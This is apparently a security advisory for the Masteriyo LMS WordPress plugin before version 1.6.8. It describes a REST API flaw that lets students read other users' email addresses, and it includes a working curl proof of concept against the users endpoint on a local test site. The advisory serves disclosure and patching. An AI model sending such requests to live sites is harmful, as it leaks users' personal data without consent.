LMS by Masteriyo < 1.6.8 – Information Exposure

Description

The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.

Proof of Concept

curl -i -s -k -X $'GET' \
    -H $'Host: localhost:8000' -H $'sec-ch-ua: ' -H $'Accept: application/json, */*;q=0.1' -H $'sec-ch-ua-mobile: ?0' -H $'X-WP-Nonce: 7ba3ba53b8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36' -H $'sec-ch-ua-platform: \"\"' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:8000/?page_id=1124' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
    -b $'masteriyo_items_in_cart=1; masteriyo_cart_hash=c53d2204151eafc62e95f393f0f0d543; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1687379163%7CnhHtigdheYNJeh7RCZ6w0mmiRr1eUE2rMzzuxbzJ6ml%7Ccef7decae7195d6c197dc332435a65745a6a050db06add877a248088b0a3d2cf' \
    $'http://localhost:8000/index.php?rest_route=/masteriyo/v1/users&_locale=user'